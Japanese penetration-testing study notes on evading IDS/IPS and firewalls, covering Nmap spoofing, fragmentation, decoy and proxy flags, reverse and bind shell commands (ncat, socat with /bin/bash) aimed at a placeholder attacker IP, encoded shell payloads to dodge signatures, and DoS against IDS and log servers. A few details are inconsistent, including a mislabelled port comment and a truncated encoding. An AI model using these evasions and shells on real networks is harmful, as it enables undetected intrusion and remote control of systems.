1.2. IDS/IPS/FWの回避

1.2.1. シグネチャベースのIDS/IPS回避方法

シグネチャベースのIDS/IPSを回避するには、トラフィックを操作してIDS/IPSシグネチャに一致しないようにすることが重要になる。
IDS/IPSを回避するための一般的なアプローチは以下の通り。

  • プロトコル操作による回避
  • ペイロード操作による回避
  • ルート操作による回避
  • 戦術的なサービス拒否(DoS)による回避

プロトコル操作による回避

プロトコル操作による回避には以下の方法がある。

  • 別のプロトコルへの依存
  • (送信元)TCP / UDPポートの操作
  • セッションスプライシング(IPパケットの断片化)の使用
  • 無効なパケットの送信

別のプロトコルへの依存

IDS/IPSは、特定のプロトコルをブロックし、他のプロトコルを許可するように設定されていることが多い。

これはIPS/IDSがディープパケットインスペクション(DPI)をしない限りは通常の通信と区別できないことを示す。

これはホストに侵入出来たときポート待ち受けを設定する際に、IPS/IDSの設定が443ポートを信頼している場合は443ポートで待ち受けをさせる、SMTP(25)を進退している場合は25ポートで、SNMP(162)を信頼している場合は162で待ち受けさせれば検出されない可能性があるということになる。

(送信元)TCP / UDPポートの操作

IDS/IPSでは一般的に、TCPおよびUDPの送信元ポートと宛先ポートはほぼ必ず検査される。 また、ディープパケットインスペクション(DPI)がない場合はポート番号が使用されているサービスの主な指標となる。

つまりIDS/IPSがTCPセグメントによって伝送されるデータを分析できない限り、TCPポート22を使用するネットワークトラフィックはSSHトラフィックと解釈されてしまう。(ポート番号でしかトラフィックの種類を判別できない)

これはポートスキャンのトラフィックをWebブラウジングやDNSクエリに似せることができることを意味する。
Nmapを使用している場合は-g [ポート番号](または--source-port [ポート番号])で Nmapのすべてのトラフィックを特定の送信元ポート番号から送信するように設定できる。

Nmapの例は以下の通り。

# トラフィックがHTTPサーバと通信しているように偽装
nmap -sS -Pn -g 80 -F <IPアドレス>
# トラフィックがDNSサーバと通信しているように偽装
nmap -sU -Pn -g 53 -F <IPアドレス>

Ncatの接続例は以下の通り

## DNSポートで待ち受け通信をDNSのように偽装する例
# 1.攻撃機で53ポートで待ち受け
ncat -ulvnp 53
# 2.ターゲットで以下コマンドで攻撃機に接続
ncat -u <攻撃機のIP> 53

## HTTPポートで待ち受け通信をWeb閲覧のように偽装する例
# 1.攻撃機で53ポートで待ち受け
ncat -lvnp 80
# 2.ターゲットで以下コマンドで攻撃機に接続
nc <攻撃機のIP> 80

セッションスプライシング(IPパケットの断片化)の使用

セッションスプライシングは攻撃に関連するパケットを小さなパケットに分割することで、IDSシグネチャの照合を回避できるという考え方

IDSが悪意のあるペイロードを検出するために特定のバイトストリームを検索している場合は、ペイロードを複数のパケットに分割させる。このときIDSがパケットを再構成しない限り、ルールはトリガーされない。

Nmapのパケット断片化オプションは以下の通り。

  • -f : IPパケット内データを8Byteに設定
  • -ff: IPパケット内データを16Byteに設定
  • -mtu <サイズ(8の倍数)>: IPパケット内で伝送されるデータのカスタムサイズ(Byte)を指定

無効なパケットの送信

IDS/IPSは無効なパケットを処理する一方で、ターゲットシステムはそれを無視することがある。これは無効なパケットがIDS/IPSを透過しターゲットをスキャンできる可能性があることを示す。

Nmapでは以下の条件を満たすパケットを作成しターゲットをスキャンできる。

  • 無効なTCP / UDPチェックサム
    • --badsumオプションの使用
  • 無効なTCPフラグ
    • --scanflagsオプションの使用

無効なパケットの送信にはnmapよりhping3が推奨される。(カスタム性が高いため)

ペイロード操作による回避

ペイロード操作によるIPS/IDS回避は以下が含まれる。

  • ペイロードの難読化とエンコード
  • 通信チャネルの暗号化
  • シェルコードの変更

ペイロードの難読化とエンコード

IDSルールは非常に具体的な設定がされるため、小さな変更を加えることで検出を回避することが望める。変更には、追加バイトの追加、攻撃データの難読化、通信の暗号化などがある。

例として、ncat -lvnp 1234 -e /bin/bashを難読化したい場合、Base64、URLエンコーディング、Unicodeエスケープシーケンスなどがある。

  • ncat -lvnp 1234 -e /bin/bashをエンコードする例
    • BASE64の場合: bmNhdCAtbHZucCAxMjM0IC1lIC9iaW4vYmFzaA==
    • URLエンコードの場合: ncat%20-lvnp%201234%20-e%20%2Fbin%2Fbash
    • Unicodeエンコードの場合: \u006e\u0063\u0061\u0074\u0020\u002d\u006c\u0076\u006e\u0070\u0020\u0031\u0032\u0033\u0034\u0020\u002d\u0065\u0020\

URLエンコード後は、IDS/IPSシグネチャの一致内容によっては、URLエンコードを行うと検出を回避できる場合がある。
また一部のアプリケーションでは、Unicodeエスケープを使用しても入力を適切に処理し、実行する場合があり、これを利用することもできる。

CyberChefを利用した変更例は以下の通り

  1. 「Escape Unicode Characters」を検索
  2. レシピ列に上記をドラック
  3. Prefixに「\u」で「Encode All Characters」にチェック
  4. Paddingに「4」で「Uppercase hex」にチェック
  5. 対象文字を入れて変換する

通信チャネルの暗号化

IDS/IPSは暗号化されたデータを検査しないため、攻撃者は暗号化を利用して検出を回避できる。なおエンコードとは異なり、暗号化には暗号化キーが必要となる。

これを実現する直接的なアプローチの一つは、攻撃者のシステム上に必要な暗号化キーを作成し、socatその暗号化キーを使用して着信接続をリッスンする際に暗号化を強制するように設定すること。暗号化されたリバースシェルは、以下の3つのステップで実行できる。

  1. キーの作成
  2. 攻撃者のマシンでリッスンする
  3. 攻撃対象から攻撃者のマシンに接続する

Linux環境での通信チャネルを暗号化してシェルを張る実行例は以下の通り。

# 1. opensslによるキーの作成例
# 以下コマンドでは秘密鍵「hck-reverse.key」と証明書「thck-reverse.crt」が作成される
openssl req -x509 -newkey rsa:4096 -days 365 -subj '/CN=www.hacking.com/O=Red Team/C=JP' -nodes -keyout hck-reverse.key -out hck-reverse.crt
# 2. 上記2つを連結させて「.pem」の作成
cat hck-reverse.key hck-reverse.crt > hck-reverse.pem
# 3. Socatでクライアントとの通信を暗号化するためのキーを使用しながらリッスン
socat -d -d OPENSSL-LISTEN:4443,cert=hck-reverse.pem,verify=0,fork STDOUT
# 4. 攻撃対象で以下コマンドを実行
socat OPENSSL:<攻撃機のIP>:4443,verify=0 EXEC:/bin/bash

シェルコードの変更

シェルコードの簡単な変更でシグネチャの不一致で検出されない場合がある。
例としてターゲットでncat -lvnp 1234 -e /bin/bashでバインドシェルを実行させる場合を考える。

  • ncat -lvnpのフラグ-lvnpの順序を変更する
  • ncat -lvnp 1234 -e /bin/bashに余計な空白を加える
  • ncatではなく別のユーティリティ(ncsocat)を使用する

ルート操作による回避

ルート操作によるIDS/IPS回避は以下が含まれる。

  • ソースルーティングの使用
  • プロキシサーバー使用

ソースルーティングの使用

ソースルーティングを使用することで、パケットが特定のルートを経由して宛先に到達するように強制することができる。
Nmapの場合は--ip-optionsオプションで設定可能。

  • 例:--ip-options "L 10.10.10.50 10.10.50.250"オプション
    • スキャンパケットが指定された 2 つの IP アドレスを経由してルーティングされるようにする
    • Lはルーズルーティング
  • 例:--ip-options "S 10.10.10.1 10.10.20.2 10.10.30.3"
    • パケットがターゲットホストに到達する前にこれらの3ホップを経由することを指定
    • Rは厳密ルーティング

プロキシサーバの使用

プロキシサーバを使用するとターゲット端末から見て、攻撃機のソースIPを隠匿できる。 Nmapでは--proxiesオプションでプロキシURLをカンマ区切りでリスト化できる。 なお対応プロトコルはHTTPとSOCKS4。

# Proxyを2つ経由させる例
nmap -sS HTTP://PROXY_HOST1:8080,SOCKS4://PROXY_HOST2:4153 <ターゲットIP>

戦術的なサービス拒否による回避

戦術的DoSによるIDS/IPS回避には次のものが含まれる。

  • IDS / IPSに対するサービス拒否攻撃の開始
  • ログサーバーに対するサービス拒否攻撃の実行

IDS/IPSは、ルール数の増加やネットワークトラフィック量の増加に伴い、高い処理能力を必要となる。さらに、特にIDSの場合、シグネチャに一致するトラフィック情報のログ記録が主な対応となるため、以下の点に留意すると効果的といえる。

  • IDS/IPSの処理能力を過負荷にするような大量の無害なトラフィックを作成する
  • ログに記録される可能性のある、悪意のないトラフィックを大量に生成し、ログサーバーとの通信チャネルが混雑したり、ディスク書き込み容量を超えたりさせることを狙う

C&CサーバのIDS/IPS回避

Cobalt StrikeやEmpireなどの侵入テストフレームワークは、柔軟なコマンド&コントロール(c2)プロファイルを提供している。これを利用すると IDS/IPSを回避するための様々な微調整が可能となる。以下パラメータを調整することでIDS/IPSの回避を目指す。

  • User-Agent
  • スリープ時間
  • ジッター
  • 本物の信頼できるようなSSL証明書
  • DNSビーコン

1.2.2. ファイヤーウォールの回避

アプライアンスファイヤーウォールの回避

ファイアウォールの背後にあるホストをスキャンする場合、ファイアウォールは通常、ポートスキャンを検出してブロックする。このような状況では、ファイアウォールを回避するためにネットワークとポートスキャンを調整する必要がある。

パケットの改造で回避を望める方法は以下の通り。

  • 送信元MAC/IP/ポートの制御による回避
  • フラグメンテーション、MTU、データ長による回避
  • ヘッダーフィールドの変更による回避

また一般的なFWの回避方法は以下の通り。

  • ポートホッピングによる回避
  • ポートトンネルによる回避
  • 非標準ポートの使用

送信元MAC/IP/ポートの制御による回避

Nmapでは以下を使用できる。

  • おとりによる隠蔽
  • プロキシによる隠蔽
  • 偽装されたMACアドレス
  • 偽装された送信元IPアドレス
  • 固定送信元ポート番号

おとりによる隠蔽

Nmapでは-Dオプションを使用すると、デコイ送信元IPアドレスを追加してターゲットを混乱させることができる。

# 10.10.10.1,10.10.10.2のデコイを混ぜたスキャン例
nmap -sS -Pn -D 10.10.10.1,10.10.10.2,ME -F <ターゲットIP>
# 完全ランダムなIPからのデコイを混ぜたスキャン例
nmap -sS -Pn -D RND,RND,ME -F <ターゲットIP>

プロキシによる隠蔽

ポートスキャンをプロキシ経由で中継することで、ターゲットホストにIPアドレスを知られずに済む。
Nmapでは--proxies <PROXY_URL>でプロキシの設定が可能。

nmap -sS -Pn --proxies <PROXY_URL> -F <ターゲットIP>

偽装されたMACアドレス

Nmapでは、--spoof-mac <MAC_ADDRESS>オプションを使用してMACアドレスを偽装できる。

MACアドレスの偽装はシステムがターゲットホストと同じネットワークセグメント上にある場合にのみ機能する。同じネットワークセグメント上になく、同じイーサネットを共有している場合、応答をキャプチャして読み取ることはできない。これにより、MACアドレスに基づく信頼関係を悪用することが可能となる。

さらに、この手法を使用して、ネットワーク上のスキャン活動を隠すことも可能。例えば、スキャンがネットワークプリンタから送信されたように見せることができる。

ベンダーOUI前半6桁
TP-Link00-19-E0 / A8-15-4D
Buffalo00-1D-73
Fujitsu00-02-DC
Brother00-80-77
EPSONA4-EE-57
NEC00-00-4C
Ricoh00-26-73
Cisco00-1D-72 / A8-0C-0D

偽装された送信元IPアドレス

Nmapでは-S [IPアドレス]オプションで送信元IPアドレスを偽装できる。
IPアドレスの偽装は攻撃機がターゲットホストと同じサブネット上にある場合に有効となる。そうでない場合はターゲットホストからの応答を読み取ることができない。

固定送信元ポート番号

ファイアウォールがポート53や80など、特定の送信元ポート番号からのパケットの受信を許可していることがわかった場合、特定の送信元ポート番号からのスキャンが役に立つ。
送信元ポート番号はNmapの場合は-gオプションまたは--source-portオプションで設定可能。

フラグメンテーション、MTU、データ長による回避

パケットサイズを調整すると以下のことが望める。

  • パケットのフラグメント化
    • ファイアウォール、IDS/IPSがパケットを再構成しない場合、パケットは通過してしまう可能性が高い。通過したパケットはターゲットシステムが再構成する。
  • 特定のデータ長のパケットの送信

パケットの断片化

Nmapでは以下オプションでパケットのフラグメントが行える。

オプション説明
-f8Byteのサイズで断片化
-ff16Byteのサイズで断片化
--mtu [MTUサイズ(8の倍数)]指定したMTUで断片化

最大転送単位(MTU)は、特定のリンク層接続で通過できるパケットの最大サイズを示す。例えば、イーサネットのMTUは1500Byteとなり、イーサネット(リンク層)接続で送信できるIPパケットの最大サイズが1500Byteであることを意味する。

特定のデータ長のパケットの送信

パケットのサイズによりファイアウォールやIDS/IPSに検知・ブロックされてしまう場合は、NMapでは--data-length [値(8の倍数)]オプションで特定の長さを設定し、ポートスキャンの回避率を高めることができる。

# 64Byteの長さで送る場合
nmap -sS -Pn --data-length 64 -F [ターゲットIP]

ヘッダーフィールドの変更による回避

パケットのヘッダーフィールドの値を制御することでファイヤーウォールの回避が望める場合がある。具体的に変更する値は以下の通り。

  • パケットの寿命(TTL)の設定
  • 指定されたIPオプションでパケットを送信
  • 間違ったTCP / UDPチェックサムでパケットを送信

TTLの設定

TTLの変更はデフォルトのTTLではポートスキャン活動が露呈してしまう可能性がある場合に有効といえる。

Nmapでは--ttl [値]で変更できる。

IPオプションの設定

IPオプションフィールドではNmapの場合、--ip-options [HEX_STRING]で設定ができる。

特定のセキュリティシステムを回避するためにパケットが特定のルートを通るようにしたい場合、ルーズソースルーティング(L)と厳密なソースルーティング(R)が役立つ。

間違ったチェックサムの使用

システムによっては意図的に間違ったチェックサムを持つパケットを送信することでパケットを破棄しないものが存在する。そういった場合に有効打になりうる。

Nmapの場合は--badsumオプションを追加することで実現できる。

ポートホッピングによる回避

ポートホッピングはアプリケーションが接続を確立・維持できるようになるまで、あるポートから別のポートへと切り替える手法のこと。

一部の「正当な」アプリケーションは、ファイアウォールを回避するためにこの手法を使用している。

具体的にはファイアウォールでブロックされていない宛先ポートを見つけるまで、サーバーへの接続を試み続ければよい。ncat等でシェルを張る際にFWが設定されている場合は有効なポートで接続できるまでポートを変え続け思考すればいいことを示す。

ポートトンネルによる回避

ポートトンネリングはポートフォワーディングやポートマッピングとも呼ばれ、ある宛先ポートに送信されたパケットを別の宛先ポートに転送する仕組みのこと。

ファイアウォールの背後にサーバーがあり、外部からアクセスできない場合を考える。
この際にファイアウォールが特定のポートをブロックしていないことが判明したとすると、トラフィックを別のポート経由でトンネリングすることで、状況の改善を望める。

FWで保護されているNW配下に25ポートでListenしているSMTPサーバがあり、FWが外部からの25ポート接続をブロック/ドロップしている場合、外部からSMTPサーバーに接続できない。
この際FWが443ポートの許可をしている場合、これを利用してパケットをポート443に送信し、ファイアウォールを通過した後でポート25に転送することができる。
ターゲットサーバにバインドシェルを張る場合、ncat -lvnp 443 -c "ncat <ターゲットIP> 25"を前段サーバで張ることにより443ポート経由でターゲットサーバーに25ポートで接続を望める。

非標準ポートの使用

Ncatコマンドではncat -lvnp [ポート番号] -e /bin/bashでシェルを張ることで、Bash シェルと対話できるようになる。
この際ncatを非標準ポートで張った場合FWを回避できる場合がある。